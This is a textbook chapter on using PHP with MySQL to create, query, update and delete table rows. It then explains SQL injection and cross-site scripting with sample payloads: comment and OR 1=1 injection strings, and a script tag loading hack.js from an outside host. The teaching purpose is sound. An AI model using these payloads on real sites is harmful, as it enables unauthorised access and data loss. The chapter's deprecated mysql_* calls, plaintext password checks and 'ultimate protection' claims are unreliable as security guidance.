You are now ready to look at some practical techniques that you can use in PHP to access a MySQL database, including tasks such as creating and dropping tables; inserting, updating, and deleting data; and protecting your database and website from malicious users. Note that the following examples assume that you’ve created the login.php program discussed earlier in this chapter.
Let’s assume that you are working for a wildlife park and need to
create a database to hold details about all the types of cats it houses.
You are told that there are nine families of
cats—Lion, Tiger, Jaguar, Leopard, Cougar, Cheetah, Lynx, Caracal, and
Domestic—so you’ll need a column for that. Then each cat has been given
a name, so that’s another column, and you also want
to keep track of their ages, which is another. Of
course, you will probably need more columns later, perhaps to hold
dietary requirements, inoculations, and other details, but for now
that’s enough to get going. A unique identifier is also needed for each
animal, so you also decide to create a column for that, called id.
Example 10-9 shows the code you might use to create a MySQL table to hold this data, with the main query assignment in bold text.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "CREATE TABLE cats (
id SMALLINT NOT NULL AUTO_INCREMENT,
family VARCHAR(32) NOT NULL,
name VARCHAR(32) NOT NULL,
age TINYINT NOT NULL,
PRIMARY KEY (id)
)";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
?>As you can see, the MySQL query looks pretty similar to how you would type it in directly to the command line, except that there is no trailing semicolon, as none is needed when accessing MySQL from PHP.
When you aren’t logged in to the MySQL command line, there’s a
handy piece of code that you can use to verify that a table has been
created correctly from inside a browser. It simply issues the query
DESCRIBE
tablename and then outputs an HTML table with
four headings: Column, Type,
Null, and Key, underneath
which all columns within the table are shown. To use the code in Example 10-10 with other tables, simply replace
the name cats in the query with that
of the new table.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "DESCRIBE cats";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
$rows = mysql_num_rows($result);
echo "<table><tr> <th>Column</th> <th>Type</th>
<th>Null</th> <th>Key</th> </tr>";
for ($j = 0 ; $j < $rows ; ++$j)
{
$row = mysql_fetch_row($result);
echo "<tr>";
for ($k = 0 ; $k < 4 ; ++$k) echo "<td>$row[$k]</td>";
echo "</tr>";
}
echo "</table>";
?>The output from the program should look like this:
Column Type Null Key
id smallint(6) NO PRI
family varchar(32) NO
name varchar(32) NO
age tinyint(4) NODropping a table is very easy to do and is therefore very
dangerous, so be careful. Example 10-11
shows the code that you need. However, I don’t recommend that you try it
until you have been through the other examples, as it will drop the
table cats and you’ll have to
recreate it using Example 10-9.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "DROP TABLE cats";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
?>Let’s add some data to the table using the code in Example 10-12.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "INSERT INTO cats VALUES(NULL, 'Lion', 'Leo', 4)";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
?>You may wish to add a couple more items of data by modifying
$query as follows and calling up the
program in your browser again:
$query = "INSERT INTO cats VALUES(NULL, 'Cougar', 'Growler', 2)"; $query = "INSERT INTO cats VALUES(NULL, 'Cheetah', 'Charly', 3)";
By the way, notice the NULL
value passed as the first parameter? This is done because the id column is of the type AUTO_INCREMENT, so MySQL will decide what
value to assign according to the next available number in the sequence.
Therefore, we simply pass a NULL
value, which will be ignored.
Of course, the most efficient way to populate MySQL with data is to create an array and insert the data with a single query.
Now that you’ve inserted some data into the cats table, Example 10-13 shows how you can check
that this was done correctly.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "SELECT * FROM cats";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
$rows = mysql_num_rows($result);
echo "<table><tr> <th>Id</th> <th>Family</th>
<th>Name</th><th>Age</th></tr>";
for ($j = 0 ; $j < $rows ; ++$j)
{
$row = mysql_fetch_row($result);
echo "<tr>";
for ($k = 0 ; $k < 4 ; ++$k) echo "<td>$row[$k]</td>";
echo "</tr>";
}
echo "</table>";
?>This code simply issues the MySQL query SELECT * FROM cats and then displays all the
rows returned. Its output is as follows:
Id Family Name Age
1 Lion Leo 4
2 Cougar Growler 2
3 Cheetah Charly 3Here you can see that the id
column has correctly autoincremented.
Changing data that you have already inserted is also quite simple. Did you notice the spelling of Charly for the cheetah’s name? Let’s correct that to Charlie, as in Example 10-14.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "UPDATE cats SET name='Charlie' WHERE name='Charly'";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
?>If you run Example 10-13 again, you’ll see that it now outputs the following:
Id Family Name Age
1 Lion Leo 4
2 Cougar Growler 2
3 Cheetah Charlie 3Growler the cougar has been transferred to another zoo, so it’s time to remove him from the database. Example 10-15 shows how to delete data from the table.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "DELETE FROM cats WHERE name='Growler'";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
?>This uses a standard DELETE
FROM query, and when you run Example 10-13, you can see that the
row has been removed by the following output:
Id Family Name Age
1 Lion Leo 4
3 Cheetah Charlie 3When using AUTO_INCREMENT, you
cannot know what value has been given to a column before a row is
inserted. If you need to know it, you must ask MySQL afterwards using
the mysql_insert_id function. This
need is common: for instance, when you process a purchase, you might
insert a new customer into a customers table and then refer to the newly
created CustId when inserting a
purchase into the purchases
table.
Example 10-12 can be rewritten as Example 10-16 to display this value after each insert.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";
$result = mysql_query($query);
echo "The Insert ID was: " . mysql_insert_id();
if (!$result) die ("Database access failed: " . mysql_error());
?>The contents of the table should now look like the following (note
how the previous id value of 2 is not reused, as this
could cause complications in some instances):
Id Family Name Age
1 Lion Leo 4
3 Cheetah Charlie 3
4 Lynx Stumpy 5It’s very common to insert data in multiple tables: a book followed by its author, a customer followed by an item purchased, and so on. When doing this with an autoincrement column, you will need to retain the insert ID returned for storing in the related table.
For example, let’s assume that these cats can be “adopted” by
the public as a means of raising funds, and that when a new cat is
stored in the cats table, we also
want to create a key to tie it to the animal’s adoptive owner. The
code to do this is similar to that in Example 10-16, except that the
returned insert ID is stored in the variable $insertID and is then used as part of the
subsequent query:
$query = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)"; $result = mysql_query($query);$insertID= mysql_insert_id(); $query = "INSERT INTO owners VALUES($insertID, 'Ann', 'Smith')"; $result = mysql_query($query);
Now the cat is connected to its “owner” through the cat’s unique
ID, which was created automatically by AUTO_INCREMENT.
A completely safe procedure for linking tables through the insert ID is to use locks. This can slow down response time a bit when there are many people submitting data to the same table, but it can be worth it. The sequence is:
Lock the first table (e.g., cats).
Insert data into the first table.
Retrieve the unique ID from the first table through mysql_insert_id.
Unlock the first table.
Insert data into the second table.
The lock can safely be released before inserting data into the second table, because the insert ID has been retrieved and is stored in a program variable. A transaction can also be used instead of locking, as described in Chapter 9, but that slows down the MySQL server even more.
Okay: that’s enough feline fun. To explore some slightly more
complex queries, we need to revert to using the customers and classics tables that you should have created
in Chapter 8. There will be two customers
in the customers table; the classics table holds the details of a few
books. They also share a common column of ISBN numbers called isbn that we can use to perform additional
queries.
For example, to display each of the customers along with the titles and authors of the books they have bought, you can use the code in Example 10-17.
<?php
require_once 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = "SELECT * FROM customers";
$result = mysql_query($query);
if (!$result) die ("Database access failed: " . mysql_error());
$rows = mysql_num_rows($result);
for ($j = 0 ; $j < $rows ; ++$j)
{
$row = mysql_fetch_row($result);
echo "$row[0] purchased ISBN $row[1]:<br />";
$subquery = "SELECT * FROM classics WHERE isbn='$row[1]'";
$subresult = mysql_query($subquery);
if (!$subresult) die ("Database access failed: " . mysql_error());
$subrow = mysql_fetch_row($subresult);
echo " '$subrow[1]' by $subrow[0]<br />";
}
?>This program uses an initial query to the customers table to look up all the customers
and then, given the ISBN number of the books each customer has
purchased, makes a new query to the classics table to find out the title and
author of each. The output from this code should be as follows:
Mary Smith purchased ISBN 9780582506206:
'Pride and Prejudice' by Jane Austen
Jack Wilson purchased ISBN 9780517123201:
'The Origin of Species' by Charles DarwinOf course, although it wouldn’t illustrate performing additional
queries, in this particular case you could also return the same
information using a NATURAL JOIN
query (see Chapter 8), like
this:
SELECT name,isbn,title,author FROM customers NATURAL JOIN classics;
It may be hard to understand just how dangerous it is to pass unchecked user input to MySQL. For example, suppose you have a simple piece of code to verify a user, and it looks like this:
$user = $_POST['user']; $pass = $_POST['pass']; $query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
At first glance, you might think this code is perfectly fine. If
the user enters values of fredsmith
and mypass for $user and $pass, the query string passed to MySQL will
be as follows:
SELECT * FROM users WHERE user='fredsmith' AND pass='mypass'
This is all well and good, but what if someone enters the
following for $user (and doesn’t
enter anything for $pass)?
admin' #
Let’s look at the string that would be sent to MySQL:
SELECT * FROM users WHERE user='admin' #' AND pass=''Do you see the problem there (highlighted in bold)? In MySQL, the
# symbol represents the start of a
comment. Therefore, the user will be logged in as
admin (assuming there is a user
admin), without having to enter a password. In the
following, the part of the query that will be executed is shown in
bold—the rest will be ignored:
SELECT * FROM users WHERE user='admin' #' AND pass=''But you should count yourself very lucky if that’s all a malicious user does to you. At least you might still be able to go into your application and undo any changes the user makes as admin. But what about the case in which your application code removes a user from the database? The code might look something like this:
$user = $_POST['user']; $pass = $_POST['pass']; $query = "DELETE FROM users WHERE user='$user' AND pass='$pass'";
Again, this looks quite normal at first glance, but what if
someone entered the following for $user?
anything' OR 1=1 #
MySQL would interpret this as the following (again highlighted in bold):
DELETE FROM users WHERE user='anything' OR 1=1 #' AND pass=''Ouch—that SQL query will always be true, and therefore you’ve lost
your whole users database! So what
can you do about this kind of attack?
Well, the first thing is not to rely on PHP’s built-in
magic quotes, which automatically escape any
characters such as single and double quotes by prefacing them with a
backslash (\). Why? Because this
feature can be turned off. Many programmers do so in order to put their
own security code in place, so there is no guarantee that this hasn’t
happened on the server you are working on. In fact, the feature was
deprecated as of PHP 5.3.0 and is due for complete removal in version
6.
Instead, you should always use the function mysql_real_escape_string for all calls to
MySQL. Example 10-18 is a
function you can use that will remove any magic quotes added to a
user-inputted string and then properly sanitize it for you.
<?php
function mysql_fix_string($string)
{
if (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>The get_magic_quotes_gpc
function returns TRUE if magic quotes
are active. In that case, any slashes that have been added to a string
have to be removed or the function mysql_real_escape_string could end up
double-escaping some characters, creating corrupted strings. Example 10-19 illustrates how
you would incorporate mysql_fix
within your own code.
<?php
$user = mysql_fix_string($_POST['user']);
$pass = mysql_fix_string($_POST['pass']);
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
function mysql_fix_string($string)
{
if (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>Remember that you can use mysql_escape_string only when a MySQL
database is actively open; otherwise, an error will occur.
Another way—this one virtually bulletproof—to prevent SQL
injections is to use a feature called
placeholders. The idea is to predefine a query
using ? characters where the data
will appear. Then, instead of calling a MySQL query directly, you call
the predefined one, passing the data to it. This has the effect of
ensuring that every item of data entered is inserted directly into the
database and cannot be interpreted as a SQL query. In other words, SQL
injections become impossible.
The sequence of queries to execute when using MySQL’s command line could be like that in Example 10-20.
PREPARE statement FROM "INSERT INTO classics VALUES(?,?,?,?,?)";
SET @author = "Emily Brontë",
@title = "Wuthering Heights",
@category = "Classic Fiction",
@year = "1847",
@isbn = "9780553212587";
EXECUTE statement USING @author,@title,@category,@year,@isbn;
DEALLOCATE PREPARE statement;The first command prepares a statement called statement for inserting data into the
classics table. As you can see, in
place of values or variables for the data to insert, the statement
contains a series of ? characters.
These are the placeholders.
The next five lines assign values to MySQL variables according to the data to be inserted. Then the predefined statement is executed, passing these variables as parameters. Finally, the statement is removed, in order to return the resources it was using.
In PHP, the code for this procedure looks like Example 10-21 (assuming that you have created login.php with the correct details to access the database).
<?php
require 'login.php';
$db_server = mysql_connect($db_hostname, $db_username, $db_password);
if (!$db_server) die("Unable to connect to MySQL: " . mysql_error());
mysql_select_db($db_database)
or die("Unable to select database: " . mysql_error());
$query = 'PREPARE statement FROM "INSERT INTO classics
VALUES(?,?,?,?,?)"';
mysql_query($query);
$query = 'SET @author = "Emily Brontë",' .
'@title = "Wuthering Heights",' .
'@category = "Classic Fiction",' .
'@year = "1847",' .
'@isbn = "9780553212587"';
mysql_query($query);
$query = 'EXECUTE statement USING @author,@title,@category,@year,@isbn';
mysql_query($query);
$query = 'DEALLOCATE PREPARE statement';
mysql_query($query);
?>Once you have prepared a statement, until you deallocate it, you can use it as often as you wish. Such statements are commonly used within a loop to quickly insert data into a database by assigning values to the MySQL variables and then executing the statement. This approach is more efficient than creating the entire statement from scratch on each pass through the loop.
There’s another type of injection you need to concern yourself about—not for the safety of your own websites, but for your users’ privacy and protection. That’s cross-site scripting, also referred to as XSS.
This occurs when you allow HTML, or more often JavaScript code, to be input by a user and then displayed back by your website. One place this is common is in a comment form. What most often happens is that a malicious user will try to write code that steals cookies from your site’s users, allowing him to discover username and password pairs or other information. Even worse, the malicious user might launch an attack to download a Trojan onto a user’s computer.
Preventing this is as simple as calling the htmlentities function, which strips out all
HTML markup codes and replaces them with a form that displays the
characters, but does not allow a browser to act on them. For example,
consider the following HTML:
<script src='http://x.com/hack.js'> </script><script>hack();</script>
This code loads in a JavaScript program and then executes
malicious functions. But if it is first passed through htmlentities, it will be turned into the
following, totally harmless string:
<script src='http://x.com/hack.js'> </script><script>hack(); </script>
So if you are ever going to display anything that your users
enter, either immediately or after first storing it in a database, you
need to first sanitize it with htmlentities. To do this, I recommend that you
create a new function like the first one in Example 10-22, which can
sanitize for both SQL and XSS injections.
<?php
function mysql_entities_fix_string($string)
{
return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
if (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>The mysql_entities_fix_string
function first calls mysql_fix_string
and then passes the result through htmlentities before returning the fully
sanitized string. Example 10-23 shows your new
“ultimate protection” version of Example 10-19.
<?php
$user = mysql_entities_fix_string($_POST['user']);
$pass = mysql_entities_fix_string($_POST['pass']);
$query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";
function mysql_entities_fix_string($string)
{
return htmlentities(mysql_fix_string($string));
}
function mysql_fix_string($string)
{
if (get_magic_quotes_gpc()) $string = stripslashes($string);
return mysql_real_escape_string($string);
}
?>Now that you have learned how to integrate PHP with MySQL and avoid malicious user input, the next chapter will further expand on the use of form handling, including data validation, multiple values, pattern matching, and security.